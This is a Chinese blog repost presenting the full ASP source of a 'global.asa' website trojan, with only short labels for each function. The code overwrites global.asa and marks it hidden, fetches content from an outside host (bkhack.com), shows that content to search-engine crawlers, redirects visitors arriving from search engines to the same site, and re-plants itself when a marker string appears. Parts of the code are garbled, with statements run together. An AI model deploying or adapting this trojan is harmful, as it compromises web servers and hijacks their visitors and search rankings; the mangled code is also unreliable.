最近流行的global.asa木马代码实例

  • 最近流行的global.asa木马代码实例:
  •  
  • 函数一:用来创建global.asa文件:

Public Function createasa(ByVal Content)

On Error Resume Next

Set fso = Server.CreateObject("scripting.filesystemobject")

set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))

f.Attributes=0

Set Obj = Server.CreateObject("adod" & "b.S" & "tream")

Obj.Type = 2

Obj.open

Obj.Charset = "gb2312"

Obj.Position = Obj.Size

Obj.writetext = Content

Obj.SaveToFile "//./" & Server.MapPath("/global.asa"),2

Obj.Close

Set Obj = Nothing f.Attributes=1+2+4

set f=Nothing

Set fso = Nothing

End Function

 

函数二:读取木马种植者设定的网页源码.

Public Function GetHtml(url)

Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

ObjXMLHTTP.Open "GET",url,False

ObjXMLHTTP.setRequestHeader "User-Agent",url

ObjXMLHTTP.send

GetHtml=ObjXMLHTTP.responseBody

Set ObjXMLHTTP=Nothing

set objStream = Server.CreateObject("Adodb.Stream")

objStream.Type = 1

objStream.Mode =3

objStream.Open

objStream.Write GetHtml

objStream.Position = 0

objStream.Type = 2

objStream.Charset = "gb2312"

GetHtml = objStream.ReadText

objStream.Close

End Function

 

函数三:判断访问网站的人的来源是否是各种搜索引擎.

Function check(user_agent)

allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp",",")

check_agent=false

For agenti=lbound(allow_agent) to ubound(allow_agent)

If instr(user_agent,allow_agent(agenti))>0

then check_agent=true

exit for

end if

Next check=check_agent

End function

 

Function checkS(user_a)

check_a=false

If instr(user_a,"Baiduspider")>0

then check_a=true

end if

checkS=check_a

End function

 

 

Function CheckRefresh()

CheckRefresh = False

Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask|gougou|114so"

Botlist = Split(Krobotlist,"|")

For i = 0 To Ubound(Botlist)

If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0

Then CheckRefresh = True

Exit For

End If

Next

End Function

 

 

Sub sleep()

If response.IsClientConnected=true

then Response.Flushelse

response.end

end if

End Sub

 

Function rr()

Randomizerr=int(215920*rnd+239150)

End Function

 

cnnbd=lcase(request.servervariables("HTTP_HOST"))

If CheckRefresh=true

then

response.redirect("http://www.bkhack.com")

response.end

end If

user_agent=Request.ServerVariables("HTTP_USER_AGENT")

if check(user_agent)=true

then body=GetHtml("http://www.bkhack.com")

response.write

bodyresponse.endelseasa=GetHtml("http://www.bkhack.com")

if instr(asa,"by*aming")>0

then createasa(asa)

end if

if 0=1

then body=gethtml("http://www.bkhack.com")

response.write

bodyresponse.end

end if

Call sleep()

end if

转载于:https://www.cnblogs.com/zftek/archive/2012/04/16/2451162.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值